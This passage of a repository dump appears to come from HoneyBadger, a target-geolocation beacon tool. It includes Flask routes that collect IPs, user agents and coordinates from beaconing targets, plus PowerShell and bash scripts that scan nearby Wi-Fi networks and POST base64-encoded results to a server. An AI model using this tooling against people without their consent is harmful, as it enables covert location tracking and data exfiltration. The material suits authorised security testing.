response.headers['X-XSS-Protection'] = '0'#'1; report=https://hb.lanmaster53.com/api/beacon/{}/X-XSS-Protection'.format(guid)\n    uri = url_for('api_beacon', target=guid, agent='Content-Security-Policy')\n    response.headers['Content-Security-Policy-Report-Only'] = 'script-src \\'nonce-{}\\'; report-uri {}'.format(nonce, uri)\n    return response\n\n@app.route('/log')\n@login_required\ndef log():\n    # hidden capability to clear logs\n    if request.values.get('clear'):\n        Log.query.delete()\n        db.session.commit()\n        return redirect(url_for('log'))\n    content = ''\n    logs = Log.query.order_by(Log.created).all()\n    for log in logs:\n        content += '[{}] [{}] {}{}'.format(log.created_as_string, log.level_as_string, log.message, os.linesep)\n    return render_template('log.html', content=content)\n\n# control panel api views\n\n@app.route('/api/beacons')\n@login_required\ndef api_beacons():\n    beacons = [b.serialized for t in Target.query.all() for b in t.beacons.all()]\n    return jsonify(beacons=beacons)\n\n# agent api views\n\n@app.route('/api/beacon/<target>/<agent>', methods=['GET', 'POST'])\n@cross_origin()\ndef api_beacon(target, agent):\n    logger.info('{}'.format('='*50))\n    data = {'target': target, 'agent': agent}\n    logger.info('Target: {}'.format(target))\n    logger.info('Agent: {}'.format(agent))\n    # check if target is valid\n    if target not in [x.guid for x in Target.query.all()]:\n        logger.error('Invalid target GUID.')\n        abort(404)\n    # extract universal parameters\n    comment = b64d(request.values.get('comment', '')) or None\n    ip = request.environ['REMOTE_ADDR']\n    port = request.environ['REMOTE_PORT']\n    useragent = request.environ['HTTP_USER_AGENT']\n    data.update({'comment': comment, 'ip': ip, 'port': port, 'useragent': useragent})\n    logger.info('Connection from {} @ {}:{} via {}'.format(target, ip, port, agent))\n    logger.info('Parameters: {}'.format(request.values.to_dict()))\n    logger.info('User-Agent: {}'.format(useragent))\n    logger.info('Comment: {}'.format(comment))\n    data.update(request.values.to_dict())\n    # process json payloads\n    if request.json:\n        if process_json(data, request.json):\n            abort(404)\n    # process known coordinates\n    if all(k in data for k in ('lat', 'lng', 'acc')):\n        if process_known_coords(data):\n            abort(404)\n    # process wireless survey\n    elif all(k in data for k in ('os', 'data')):\n        if process_wlan_survey(data):\n            abort(404)\n    # process ip geolocation (includes fallback)\n    process_ip(data)\n    abort(404)\n"
  },
  {
    "path": "server/honeybadger.py",
    "content": "from honeybadger import app\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0')#threaded=True)\n"
  },
  {
    "path": "server/requirements.txt",
    "content": "Flask\nFlask-Bcrypt\nFlask-SQLAlchemy\nFlask-CORS\nrequests\n"
  },
  {
    "path": "util/wireless_survey.ps1",
    "content": "﻿# Accept a command-line argument for the URI\r\nparam (\r\n    [string]$uri = \"\"\r\n)\r\n\r\n#Input error checking: Valid argument name/value?\r\nif($uri -eq \"\") {\r\n    echo \"Usage: .\\wireless_survey.ps1 -uri <URI>\"\r\n    exit 1\r\n}\r\n\r\n# Poll for wireless network information with Netsh\r\n$wifi = netsh wlan show networks mode=bssid | findstr \"SSID Signal Channel\"\r\n\r\n# Fix data before Base64-encoding to preserve line breaks.\r\n# The server-side parser breaks without this.\r\necho $wifi > wifidat.txt                                # Write netsh results to temporary file\r\n$wifi = Get-Content wifidat.txt -Encoding UTF8 -Raw     # Update wifi variable with Raw switch\r\nrm wifidat.txt                                          # Remove temporary file\r\n\r\n# Set encoding of wifi data\r\n$wifibytes = [System.Text.Encoding]::UTF8.GetBytes($wifi)\r\n\r\n# Base64-encode the wifi data bytes\r\n$wifienc = [Convert]::ToBase64String($wifibytes)\r\n\r\n# Assemble post data\r\n$postdat = @{os='windows';data=$wifienc}\r\n\r\n# Send POST request to server, using CMD as agent\r\ntry {\r\n    $statuscode = (Invoke-WebRequest -Uri \"$uri/CMD\" -Method POST -Body $postdat).statuscode\r\n} catch {\r\n    $statuscode = $_.Exception.Response.StatusCode.Value__\r\n}\r\n\r\n# Output error checking: Expected response code?\r\nif ([string]::IsNullOrEmpty($statuscode)){\r\n    echo \"Unable to reach the specified URI.\"\r\n    echo \"Check the URI and the HoneyBadger server, and try again.\"\r\n    exit 1\r\n} elseif($statuscode -eq 404) {\r\n    echo \"The requested server responded with 404.\"\r\n    echo \"Either the page really was not found, or the request was successful.\"\r\n    echo \"Check the HoneyBadger web client for data to verify.\"\r\n    exit 0\r\n} else {\r\n    echo \"The requested server responded with an unexpected response code.\"\r\n    echo \"Check the URI and the HoneyBadger server, and try again.\"\r\n    exit 1\r\n}"
  },
  {
    "path": "util/wireless_survey.sh",
    "content": "#!/bin/bash\n\n# Input error checking: Valid argument count?\nif [[ \"$#\" -ne 1 ]]; then\n    echo \"Usage: ./wireless_survey.sh <URL>\"\n    exit 1\nfi\n\n# Get wireless information\nwireless_data=$(iwlist scan 2>&1 | egrep 'Address|ESSID|Signal')\n\n# Create post data string\npost_data=\"os=linux&data=$(echo \"$wireless_data\" | base64 -w 0)\"\n\n# Send the data to the URL supplied via command line argument. Store the response code.\nresponse_code=$(curl -d \"$post_data\" \"$1/CMD\" --write-out %{http_code} --silent --output /dev/null)\ncurl_code=\"$?\"\n\n# Output error checking: Expected response code?\nif [[ $response_code -eq \"000\" ]]; then\n    echo \"Unable to reach the specified URL. Curl response code: $curl_code.\"\n    exit 1;\nelif [[ $response_code -eq \"404\" ]]; then\n    echo \"The requested server responded with 404.\"\n    echo \"Either the page really was not found, or the request was successful.\"\n    echo \"Check the HoneyBadger web client for data to verify.\"\n    exit 0;\nelse\n    echo \"The URL responded with an unexpected response code.\"\n    echo \"Check the URL and the HoneyBadger server, and try again.\"\n    exit 1;\nfi\n"
  }
]